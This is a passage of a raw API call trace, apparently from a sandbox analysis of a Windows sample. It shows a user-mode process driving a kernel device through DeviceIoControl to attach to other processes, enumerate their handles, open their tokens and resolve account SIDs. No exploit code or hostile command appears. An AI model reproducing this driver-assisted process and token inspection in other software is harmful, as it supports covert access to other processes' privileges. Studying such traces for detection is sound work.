[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.902] CloseHandle (hObject=0xc8) returned 1 [0113.902] CloseHandle (hObject=0xc0) returned 1 [0113.902] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.902] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.902] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.902] PsAcquireProcessExitSynchronization () returned 0x0 [0113.902] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880055905d0) [0113.902] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800206eea0, HandleInformation=0x0) returned 0x0 [0113.902] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.902] PsReleaseProcessExitSynchronization () returned 0x2 [0113.902] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0113.902] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.902] ObfDereferenceObject (Object=0xfffffa800206eea0) returned 0x1 [0113.902] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.902] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.902] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.902] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0113.902] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.902] PsAcquireProcessExitSynchronization () returned 0x0 [0113.902] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880055905d0) [0113.902] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800206e2b0, HandleInformation=0x0) returned 0x0 [0113.902] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.902] PsReleaseProcessExitSynchronization () returned 0x2 [0113.903] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0113.903] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.903] ObfDereferenceObject (Object=0xfffffa800206e2b0) returned 0x1 [0113.903] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.903] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.903] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.903] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.903] PsLookupProcessByProcessId (in: ProcessId=0x248, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.903] PsAcquireProcessExitSynchronization () returned 0x0 [0113.903] KeStackAttachProcess (in: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002065b30, ApcState=0xfffff880055905d0) [0113.903] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.903] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.903] PsReleaseProcessExitSynchronization () returned 0x2 [0113.903] ObfDereferenceObject (Object=0xfffffa8002065b30) returned 0x10 [0113.903] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.903] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0113.903] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.903] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.903] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x80c) returned 0xc0 [0113.903] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.903] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800208e520, HandleInformation=0x0) returned 0x0 [0113.903] ObOpenObjectByPointer (in: Object=0xfffffa800208e520, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.903] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x12 [0113.903] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0113.903] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.903] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.903] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.903] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.976] CloseHandle (hObject=0xc8) returned 1 [0113.976] CloseHandle (hObject=0xc0) returned 1 [0113.976] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.976] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.976] PsAcquireProcessExitSynchronization () returned 0x0 [0113.976] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880055905d0) [0113.976] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800208edc0, HandleInformation=0x0) returned 0x0 [0113.977] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.977] PsReleaseProcessExitSynchronization () returned 0x2 [0113.977] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0113.977] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.977] ObfDereferenceObject (Object=0xfffffa800208edc0) returned 0x1 [0113.977] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.977] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.977] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0113.977] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.977] PsAcquireProcessExitSynchronization () returned 0x0 [0113.977] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880055905d0) [0113.977] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020927e0, HandleInformation=0x0) returned 0x0 [0113.977] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.977] PsReleaseProcessExitSynchronization () returned 0x2 [0113.977] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0113.977] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.977] ObfDereferenceObject (Object=0xfffffa80020927e0) returned 0x1 [0113.977] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.977] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.977] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.977] PsLookupProcessByProcessId (in: ProcessId=0x80c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.977] PsAcquireProcessExitSynchronization () returned 0x0 [0113.977] KeStackAttachProcess (in: PROCESS=0xfffffa800208e520, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800208e520, ApcState=0xfffff880055905d0) [0113.977] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.977] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.977] PsReleaseProcessExitSynchronization () returned 0x2 [0113.977] ObfDereferenceObject (Object=0xfffffa800208e520) returned 0x10 [0113.977] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.978] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0113.978] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.978] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.978] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x81c) returned 0xc0 [0113.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.978] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020a3b30, HandleInformation=0x0) returned 0x0 [0113.978] ObOpenObjectByPointer (in: Object=0xfffffa80020a3b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0113.978] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x12 [0113.978] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0113.978] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0113.978] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.978] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.978] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.979] CloseHandle (hObject=0xc8) returned 1 [0113.979] CloseHandle (hObject=0xc0) returned 1 [0113.979] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.979] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.979] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.980] PsAcquireProcessExitSynchronization () returned 0x0 [0113.980] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880055905d0) [0113.980] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020a2f20, HandleInformation=0x0) returned 0x0 [0113.980] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.980] PsReleaseProcessExitSynchronization () returned 0x2 [0113.980] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0113.980] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.980] ObfDereferenceObject (Object=0xfffffa80020a2f20) returned 0x1 [0113.980] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.980] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.980] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0113.980] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.980] PsAcquireProcessExitSynchronization () returned 0x0 [0113.980] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880055905d0) [0113.980] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020a5430, HandleInformation=0x0) returned 0x0 [0113.980] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.980] PsReleaseProcessExitSynchronization () returned 0x2 [0113.980] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0113.980] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.980] ObfDereferenceObject (Object=0xfffffa80020a5430) returned 0x1 [0113.980] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.980] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.980] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.980] PsLookupProcessByProcessId (in: ProcessId=0x81c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.980] PsAcquireProcessExitSynchronization () returned 0x0 [0113.980] KeStackAttachProcess (in: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020a3b30, ApcState=0xfffff880055905d0) [0113.981] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.981] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.981] PsReleaseProcessExitSynchronization () returned 0x2 [0113.981] ObfDereferenceObject (Object=0xfffffa80020a3b30) returned 0x10 [0113.981] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.981] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0113.981] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.981] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.981] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x82c) returned 0xc0 [0113.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.981] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020af800, HandleInformation=0x0) returned 0x0 [0113.981] ObOpenObjectByPointer (in: Object=0xfffffa80020af800, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0113.981] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x12 [0113.981] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0113.981] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0113.981] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.981] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.981] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.982] CloseHandle (hObject=0xc8) returned 1 [0113.982] CloseHandle (hObject=0xc0) returned 1 [0113.983] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.983] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.983] PsAcquireProcessExitSynchronization () returned 0x0 [0113.983] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880055905d0) [0113.983] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020aff20, HandleInformation=0x0) returned 0x0 [0113.983] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.983] PsReleaseProcessExitSynchronization () returned 0x2 [0113.983] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0113.983] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.983] ObfDereferenceObject (Object=0xfffffa80020aff20) returned 0x1 [0113.983] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.983] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.983] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0113.983] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.983] PsAcquireProcessExitSynchronization () returned 0x0 [0113.983] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880055905d0) [0113.983] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020b1490, HandleInformation=0x0) returned 0x0 [0113.983] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.983] PsReleaseProcessExitSynchronization () returned 0x2 [0113.983] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0113.983] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.983] ObfDereferenceObject (Object=0xfffffa80020b1490) returned 0x1 [0113.983] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.983] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.983] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, 